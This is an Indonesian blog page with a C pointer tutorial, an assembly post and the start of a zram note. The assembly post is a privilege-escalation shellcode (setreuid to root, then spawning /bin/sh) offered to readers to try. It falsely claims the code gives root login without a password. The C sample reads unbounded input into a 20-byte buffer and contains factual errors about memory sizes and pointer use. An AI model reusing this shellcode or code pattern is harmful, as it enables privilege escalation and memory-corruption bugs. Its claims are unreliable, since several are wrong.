Juli 31, 2012

c acces with pointer


Melanjutkan tutorial bahasa c yang saya berikan tahun lalu
sekarang saya akan mengajarkan tentang acess data dengan menggunakan pointer
apa sich yang di maksud pointer? Cari sendiri ya definisi sesungguhnya tapi menurutku pointer adalah
petunjuk sebuah alamat layaknya papan penunjuk arah yang sering kita jumpai apa sich kegunaan pointer pointer sangat bermanfaat untuk mengetahui letak suatu program atau file
ketika kita deklarasi kita memesan tempat di komputer misalnya char c[20] kita memesan 600 bytes
kekomputer dengan alamat yang ditunjuk oleh pointer atau &c,kalo int d; maka kita pesan tempat 4 bytes dengan alamat &d.
oke langsung saja liat codenya
$cat over.c
//latihan
main(){
char ch[20];
int *point=&ch,*ad = point;
scanf(“%s”,&ch);
printf("alamatnya %x\n",point);
printf("alamat %x miliknya %s\n",ad,ad);
}
char ch[20];
deklarasi atau pengenalan varieble ch dengan type char
begitu pula dengan int *point=&ch,*ad=point;
pointer point isinya alamat dari ch, dan pointer ad berisi pointer point
scanf maksudnya inputan dari keyboard
sedangkan %x adalah format hexadecimal
printf("alamatnya %x miliknya %s\n",ad,ad);
adalah perintah kepada komputer untuk menampilkan “alamatnya hexadecimal di pointer ad
miliknya string di alamat yang dituju pointer ad” ke monitor sedangkan karakter \n = new line adalah perintah ganti baris
scanf akan mengambil ketikan keyboard sebelum spasi setelah spasi akan di abaikan
sekarang yang jadi pertanyaan bagaimana caranya membuat virus dengan bahasa c
itu sangat mudah kawan kalo untuk windows akan amat rumit jika di kerjakan untuk linux perlu riset
yang mendalam, untuk acess pointer untuk integer, float dll menggunakan tanda asterisk(*)
misalnya :
float f,*t;
f = 2+2;
untuk mengeluarkan hasil dari f dapat menggunakan
printf("isi dari f adalah %f\n",*t);
ada pertanyaan tulis di komentar atau kirim email ke yujimaarif.ym@gmail.com

Juli 23, 2012

assembly

di bulan ramadhan ini aku akan memposting masuk sebagai root tanpa passwor di linux
beri nama log.asm
section .text
global _start
_start :
xor eax , eax
mov al , 0x46
xor ebx , ebx
xor ecx , ecx
int 0x80
xor eax , eax
push eax
push 0x68732f2f 
push 0x6e69622f
mov ebx , esp
push eax
push ebx
mov ecx , esp
xor edx , edx
mov al , 0xb
int 0x80
compile dengan 
nasm -f elf log.asm
ld -o log log.o
./log untuk runing
silahkan mencoba

mencoba menggunakan zram di raspberry pi

saya beberapa hari yang lalu mencoba mengaktifkan zram untuk membuat cadangan jika ram udah hampir penuh untuk dipindah ke zram, sejauh ini...